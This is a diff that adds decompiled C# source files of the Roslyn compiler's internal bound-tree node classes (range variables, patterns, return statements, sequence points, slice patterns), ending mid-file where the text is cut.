a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRangeVariable.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRangeVariable.cs new file mode 100644 index 0000000..b7a49a1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRangeVariable.cs @@ -0,0 +1,39 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundRangeVariable : BoundExpression +{ + public override Symbol ExpressionSymbol => RangeVariableSymbol; + + public new TypeSymbol Type => base.Type; + + public RangeVariableSymbol RangeVariableSymbol { get; } + + public BoundExpression Value { get; } + + public BoundRangeVariable(SyntaxNode syntax, RangeVariableSymbol rangeVariableSymbol, BoundExpression value, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.RangeVariable, syntax, type, hasErrors || value.HasErrors()) + { + RangeVariableSymbol = rangeVariableSymbol; + Value = value; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitRangeVariable(this); + } + + public BoundRangeVariable Update(RangeVariableSymbol rangeVariableSymbol, BoundExpression value, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(rangeVariableSymbol, RangeVariableSymbol) || value != Value || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundRangeVariable boundRangeVariable = new BoundRangeVariable(Syntax, rangeVariableSymbol, value, type, base.HasErrors); + boundRangeVariable.CopyAttributes(this); + return boundRangeVariable; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundReadOnlySpanFromArray.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundReadOnlySpanFromArray.cs new file mode 100644 index 0000000..8f11603 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundReadOnlySpanFromArray.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundReadOnlySpanFromArray : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Operand { get; } + + public MethodSymbol ConversionMethod { get; } + + public BoundReadOnlySpanFromArray(SyntaxNode syntax, BoundExpression operand, MethodSymbol conversionMethod, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ReadOnlySpanFromArray, syntax, type, hasErrors || operand.HasErrors()) + { + Operand = operand; + ConversionMethod = conversionMethod; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitReadOnlySpanFromArray(this); + } + + public BoundReadOnlySpanFromArray Update(BoundExpression operand, MethodSymbol conversionMethod, TypeSymbol type) + { + if (operand != Operand || !SymbolEqualityComparer.ConsiderEverything.Equals(conversionMethod, ConversionMethod) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundReadOnlySpanFromArray boundReadOnlySpanFromArray = new BoundReadOnlySpanFromArray(Syntax, operand, conversionMethod, type, base.HasErrors); + boundReadOnlySpanFromArray.CopyAttributes(this); + return boundReadOnlySpanFromArray; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRecursivePattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRecursivePattern.cs new file mode 100644 index 0000000..ab07ae8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRecursivePattern.cs @@ -0,0 +1,45 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundRecursivePattern : BoundObjectPattern +{ + public BoundTypeExpression? DeclaredType { get; } + + public MethodSymbol? DeconstructMethod { get; } + + public ImmutableArray Deconstruction { get; } + + public ImmutableArray Properties { get; } + + public bool IsExplicitNotNullTest { get; } + + public BoundRecursivePattern(SyntaxNode syntax, BoundTypeExpression? declaredType, MethodSymbol? deconstructMethod, ImmutableArray deconstruction, ImmutableArray properties, bool isExplicitNotNullTest, Symbol? variable, BoundExpression? variableAccess, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(BoundKind.RecursivePattern, syntax, variable, variableAccess, inputType, narrowedType, hasErrors || declaredType.HasErrors() || deconstruction.HasErrors() || properties.HasErrors() || variableAccess.HasErrors()) + { + DeclaredType = declaredType; + DeconstructMethod = deconstructMethod; + Deconstruction = deconstruction; + Properties = properties; + IsExplicitNotNullTest = isExplicitNotNullTest; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitRecursivePattern(this); + } + + public BoundRecursivePattern Update(BoundTypeExpression? declaredType, MethodSymbol? deconstructMethod, ImmutableArray deconstruction, ImmutableArray properties, bool isExplicitNotNullTest, Symbol? variable, BoundExpression? variableAccess, TypeSymbol inputType, TypeSymbol narrowedType) + { + if (declaredType != DeclaredType || !SymbolEqualityComparer.ConsiderEverything.Equals(deconstructMethod, DeconstructMethod) || deconstruction != Deconstruction || properties != Properties || isExplicitNotNullTest != IsExplicitNotNullTest || !SymbolEqualityComparer.ConsiderEverything.Equals(variable, base.Variable) || variableAccess != base.VariableAccess || !TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundRecursivePattern boundRecursivePattern = new BoundRecursivePattern(Syntax, declaredType, deconstructMethod, deconstruction, properties, isExplicitNotNullTest, variable, variableAccess, inputType, narrowedType, base.HasErrors); + boundRecursivePattern.CopyAttributes(this); + return boundRecursivePattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRefTypeOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRefTypeOperator.cs new file mode 100644 index 0000000..b19ba39 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRefTypeOperator.cs @@ -0,0 +1,40 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundRefTypeOperator : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Operand); + + public new TypeSymbol Type => base.Type; + + public BoundExpression Operand { get; } + + public MethodSymbol? GetTypeFromHandle { get; } + + public BoundRefTypeOperator(SyntaxNode syntax, BoundExpression operand, MethodSymbol? getTypeFromHandle, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.RefTypeOperator, syntax, type, hasErrors || operand.HasErrors()) + { + Operand = operand; + GetTypeFromHandle = getTypeFromHandle; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitRefTypeOperator(this); + } + + public BoundRefTypeOperator Update(BoundExpression operand, MethodSymbol? getTypeFromHandle, TypeSymbol type) + { + if (operand != Operand || !SymbolEqualityComparer.ConsiderEverything.Equals(getTypeFromHandle, GetTypeFromHandle) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundRefTypeOperator boundRefTypeOperator = new BoundRefTypeOperator(Syntax, operand, getTypeFromHandle, type, base.HasErrors); + boundRefTypeOperator.CopyAttributes(this); + return boundRefTypeOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRefValueOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRefValueOperator.cs new file mode 100644 index 0000000..03d6e9c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRefValueOperator.cs @@ -0,0 +1,40 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundRefValueOperator : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Operand); + + public new TypeSymbol Type => base.Type; + + public NullableAnnotation NullableAnnotation { get; } + + public BoundExpression Operand { get; } + + public BoundRefValueOperator(SyntaxNode syntax, NullableAnnotation nullableAnnotation, BoundExpression operand, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.RefValueOperator, syntax, type, hasErrors || operand.HasErrors()) + { + NullableAnnotation = nullableAnnotation; + Operand = operand; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitRefValueOperator(this); + } + + public BoundRefValueOperator Update(NullableAnnotation nullableAnnotation, BoundExpression operand, TypeSymbol type) + { + if (nullableAnnotation != NullableAnnotation || operand != Operand || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundRefValueOperator boundRefValueOperator = new BoundRefValueOperator(Syntax, nullableAnnotation, operand, type, base.HasErrors); + boundRefValueOperator.CopyAttributes(this); + return boundRefValueOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRelationalPattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRelationalPattern.cs new file mode 100644 index 0000000..775ba42 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRelationalPattern.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundRelationalPattern : BoundPattern +{ + public BinaryOperatorKind Relation { get; } + + public BoundExpression Value { get; } + + public ConstantValue ConstantValue { get; } + + public BoundRelationalPattern(SyntaxNode syntax, BinaryOperatorKind relation, BoundExpression value, ConstantValue constantValue, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(BoundKind.RelationalPattern, syntax, inputType, narrowedType, hasErrors || value.HasErrors()) + { + Relation = relation; + Value = value; + ConstantValue = constantValue; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitRelationalPattern(this); + } + + public BoundRelationalPattern Update(BinaryOperatorKind relation, BoundExpression value, ConstantValue constantValue, TypeSymbol inputType, TypeSymbol narrowedType) + { + if (relation != Relation || value != Value || constantValue != ConstantValue || !TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundRelationalPattern boundRelationalPattern = new BoundRelationalPattern(Syntax, relation, value, constantValue, inputType, narrowedType, base.HasErrors); + boundRelationalPattern.CopyAttributes(this); + return boundRelationalPattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRestorePreviousSequencePoint.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRestorePreviousSequencePoint.cs new file mode 100644 index 0000000..1035d24 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRestorePreviousSequencePoint.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundRestorePreviousSequencePoint : BoundStatement +{ + public object Identifier { get; } + + public BoundRestorePreviousSequencePoint(SyntaxNode syntax, object identifier, bool hasErrors) + : base(BoundKind.RestorePreviousSequencePoint, syntax, hasErrors) + { + Identifier = identifier; + } + + public BoundRestorePreviousSequencePoint(SyntaxNode syntax, object identifier) + : base(BoundKind.RestorePreviousSequencePoint, syntax) + { + Identifier = identifier; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitRestorePreviousSequencePoint(this); + } + + public BoundRestorePreviousSequencePoint Update(object identifier) + { + if (identifier != Identifier) + { + BoundRestorePreviousSequencePoint boundRestorePreviousSequencePoint = new BoundRestorePreviousSequencePoint(Syntax, identifier, base.HasErrors); + boundRestorePreviousSequencePoint.CopyAttributes(this); + return boundRestorePreviousSequencePoint; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundReturnStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundReturnStatement.cs new file mode 100644 index 0000000..c396446 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundReturnStatement.cs @@ -0,0 +1,51 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundReturnStatement : BoundStatement +{ + public RefKind RefKind { get; } + + public BoundExpression? ExpressionOpt { get; } + + public bool Checked { get; } + + public static BoundReturnStatement Synthesized(SyntaxNode syntax, RefKind refKind, BoundExpression expression, bool hasErrors = false) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new BoundReturnStatement(syntax, refKind, expression, hasErrors) + { + WasCompilerGenerated = true + }; + } + + public BoundReturnStatement(SyntaxNode syntax, RefKind refKind, BoundExpression? expressionOpt, bool @checked, bool hasErrors = false) + : base(BoundKind.ReturnStatement, syntax, hasErrors || expressionOpt.HasErrors()) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + RefKind = refKind; + ExpressionOpt = expressionOpt; + Checked = @checked; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitReturnStatement(this); + } + + public BoundReturnStatement Update(RefKind refKind, BoundExpression? expressionOpt, bool @checked) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (refKind != RefKind || expressionOpt != ExpressionOpt || @checked != Checked) + { + BoundReturnStatement boundReturnStatement = new BoundReturnStatement(Syntax, refKind, expressionOpt, @checked, base.HasErrors); + boundReturnStatement.CopyAttributes(this); + return boundReturnStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSavePreviousSequencePoint.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSavePreviousSequencePoint.cs new file mode 100644 index 0000000..58ef5ec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSavePreviousSequencePoint.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSavePreviousSequencePoint : BoundStatement +{ + public object Identifier { get; } + + public BoundSavePreviousSequencePoint(SyntaxNode syntax, object identifier, bool hasErrors) + : base(BoundKind.SavePreviousSequencePoint, syntax, hasErrors) + { + Identifier = identifier; + } + + public BoundSavePreviousSequencePoint(SyntaxNode syntax, object identifier) + : base(BoundKind.SavePreviousSequencePoint, syntax) + { + Identifier = identifier; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSavePreviousSequencePoint(this); + } + + public BoundSavePreviousSequencePoint Update(object identifier) + { + if (identifier != Identifier) + { + BoundSavePreviousSequencePoint boundSavePreviousSequencePoint = new BoundSavePreviousSequencePoint(Syntax, identifier, base.HasErrors); + boundSavePreviousSequencePoint.CopyAttributes(this); + return boundSavePreviousSequencePoint; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundScope.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundScope.cs new file mode 100644 index 0000000..1e16f8a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundScope.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundScope : BoundStatementList +{ + public ImmutableArray Locals { get; } + + public BoundScope(SyntaxNode syntax, ImmutableArray locals, ImmutableArray statements, bool hasErrors = false) + : base(BoundKind.Scope, syntax, statements, hasErrors || statements.HasErrors()) + { + Locals = locals; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitScope(this); + } + + public BoundScope Update(ImmutableArray locals, ImmutableArray statements) + { + if (locals != Locals || statements != base.Statements) + { + BoundScope boundScope = new BoundScope(Syntax, locals, statements, base.HasErrors); + boundScope.CopyAttributes(this); + return boundScope; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequence.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequence.cs new file mode 100644 index 0000000..8042bd1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequence.cs @@ -0,0 +1,43 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSequence : BoundExpression +{ + protected override ImmutableArray Children => StaticCast.From(SideEffects.Add(Value)); + + public new TypeSymbol Type => base.Type; + + public ImmutableArray Locals { get; } + + public ImmutableArray SideEffects { get; } + + public BoundExpression Value { get; } + + public BoundSequence(SyntaxNode syntax, ImmutableArray locals, ImmutableArray sideEffects, BoundExpression value, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.Sequence, syntax, type, hasErrors || sideEffects.HasErrors() || value.HasErrors()) + { + Locals = locals; + SideEffects = sideEffects; + Value = value; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSequence(this); + } + + public BoundSequence Update(ImmutableArray locals, ImmutableArray sideEffects, BoundExpression value, TypeSymbol type) + { + if (locals != Locals || sideEffects != SideEffects || value != Value || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundSequence boundSequence = new BoundSequence(Syntax, locals, sideEffects, value, type, base.HasErrors); + boundSequence.CopyAttributes(this); + return boundSequence; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequencePoint.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequencePoint.cs new file mode 100644 index 0000000..adf7d78 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequencePoint.cs @@ -0,0 +1,58 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSequencePoint : BoundStatement +{ + public BoundStatement? StatementOpt { get; } + + public static BoundStatement Create(SyntaxNode? syntax, TextSpan? part, BoundStatement statement, bool hasErrors = false) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (part.HasValue) + { + return new BoundSequencePointWithSpan(syntax, statement, part.Value, hasErrors); + } + return new BoundSequencePoint(syntax, statement, hasErrors); + } + + public static BoundStatement Create(SyntaxNode? syntax, BoundStatement? statementOpt, bool hasErrors = false, bool wasCompilerGenerated = false) + { + return new BoundSequencePoint(syntax, statementOpt, hasErrors) + { + WasCompilerGenerated = wasCompilerGenerated + }; + } + + public static BoundStatement CreateHidden(BoundStatement? statementOpt = null, bool hasErrors = false) + { + return new BoundSequencePoint(null, statementOpt, hasErrors) + { + WasCompilerGenerated = true + }; + } + + public BoundSequencePoint(SyntaxNode syntax, BoundStatement? statementOpt, bool hasErrors = false) + : base(BoundKind.SequencePoint, syntax, hasErrors || statementOpt.HasErrors()) + { + StatementOpt = statementOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSequencePoint(this); + } + + public BoundSequencePoint Update(BoundStatement? statementOpt) + { + if (statementOpt != StatementOpt) + { + BoundSequencePoint boundSequencePoint = new BoundSequencePoint(Syntax, statementOpt, base.HasErrors); + boundSequencePoint.CopyAttributes(this); + return boundSequencePoint; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequencePointExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequencePointExpression.cs new file mode 100644 index 0000000..6e6f086 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequencePointExpression.cs @@ -0,0 +1,32 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSequencePointExpression : BoundExpression +{ + public BoundExpression Expression { get; } + + public BoundSequencePointExpression(SyntaxNode syntax, BoundExpression expression, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.SequencePointExpression, syntax, type, hasErrors || expression.HasErrors()) + { + Expression = expression; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSequencePointExpression(this); + } + + public BoundSequencePointExpression Update(BoundExpression expression, TypeSymbol? type) + { + if (expression != Expression || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundSequencePointExpression boundSequencePointExpression = new BoundSequencePointExpression(Syntax, expression, type, base.HasErrors); + boundSequencePointExpression.CopyAttributes(this); + return boundSequencePointExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequencePointWithSpan.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequencePointWithSpan.cs new file mode 100644 index 0000000..1781323 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSequencePointWithSpan.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSequencePointWithSpan : BoundStatement +{ + public BoundStatement? StatementOpt { get; } + + public TextSpan Span { get; } + + public BoundSequencePointWithSpan(SyntaxNode syntax, BoundStatement? statementOpt, TextSpan span, bool hasErrors = false) + : base(BoundKind.SequencePointWithSpan, syntax, hasErrors || statementOpt.HasErrors()) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + StatementOpt = statementOpt; + Span = span; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSequencePointWithSpan(this); + } + + public BoundSequencePointWithSpan Update(BoundStatement? statementOpt, TextSpan span) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (statementOpt != StatementOpt || span != Span) + { + BoundSequencePointWithSpan boundSequencePointWithSpan = new BoundSequencePointWithSpan(Syntax, statementOpt, span, base.HasErrors); + boundSequencePointWithSpan.CopyAttributes(this); + return boundSequencePointWithSpan; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSizeOfOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSizeOfOperator.cs new file mode 100644 index 0000000..d52d3e4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSizeOfOperator.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSizeOfOperator : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundTypeExpression SourceType { get; } + + public override ConstantValue? ConstantValueOpt { get; } + + public BoundSizeOfOperator(SyntaxNode syntax, BoundTypeExpression sourceType, ConstantValue? constantValueOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.SizeOfOperator, syntax, type, hasErrors || sourceType.HasErrors()) + { + SourceType = sourceType; + ConstantValueOpt = constantValueOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSizeOfOperator(this); + } + + public BoundSizeOfOperator Update(BoundTypeExpression sourceType, ConstantValue? constantValueOpt, TypeSymbol type) + { + if (sourceType != SourceType || constantValueOpt != ConstantValueOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundSizeOfOperator boundSizeOfOperator = new BoundSizeOfOperator(Syntax, sourceType, constantValueOpt, type, base.HasErrors); + boundSizeOfOperator.CopyAttributes(this); + return boundSizeOfOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSlicePattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSlicePattern.cs new file mode 100644 index 0000000..970bcd2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSlicePattern.cs @@ -0,0 +1,46 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSlicePattern : BoundPattern +{ + public BoundPattern? Pattern { get; } + + public BoundExpression? IndexerAccess { get; } + + public BoundSlicePatternReceiverPlaceholder? ReceiverPlaceholder { get; } + + public BoundSlicePatternRangePlaceholder? ArgumentPlaceholder { get; } + + public BoundSlicePattern(SyntaxNode syntax, BoundPattern? pattern, BoundExpression? indexerAccess, BoundSlicePatternReceiverPlaceholder? receiverPlaceholder, BoundSlicePatternRangePlaceholder? argumentPlaceholder, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(BoundKind.SlicePattern, syntax, inputType, narrowedType, hasErrors || pattern.HasErrors() || indexerAccess.HasErrors() || receiverPlaceholder.HasErrors() || argumentPlaceholder.HasErrors()) + { + Pattern = pattern; + IndexerAccess = indexerAccess; + ReceiverPlaceholder = receiverPlaceholder; + ArgumentPlaceholder = argumentPlaceholder; + } + + [Conditional("DEBUG")] + private void Validate() + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSlicePattern(this); + } + + public BoundSlicePattern Update(BoundPattern? pattern, BoundExpression? indexerAccess, BoundSlicePatternReceiverPlaceholder? receiverPlaceholder, BoundSlicePatternRangePlaceholder? argumentPlaceholder, TypeSymbol inputType, TypeSymbol narrowedType) + { + if (pattern != Pattern || indexerAccess != IndexerAccess || receiverPlaceholder != ReceiverPlaceholder || argumentPlaceholder != ArgumentPlaceholder || !TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundSlicePattern boundSlicePattern = new BoundSlicePattern(Syntax, pattern, indexerAccess, receiverPlaceholder, argumentPlaceholder, inputType, narrowedType, base.HasErrors); + boundSlicePattern.CopyAttributes(this); + return boundSlicePattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSlicePatternRangePlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSlicePatternRangePlaceholder.cs new file mode 100644 index 0000000..f739088 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSlicePatternRangePlaceholder.cs @@ -0,0 +1,45 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSlicePatternRangePlaceholder : BoundEarlyValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/BoundExpression.cs", 227); + } + } + + public new TypeSymbol Type => base.Type; + + public BoundSlicePatternRangePlaceholder(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.SlicePatternRangePlaceholder, syntax, type, hasErrors) + { + } + + public BoundSlicePatternRangePlaceholder(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.SlicePatternRangePlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return 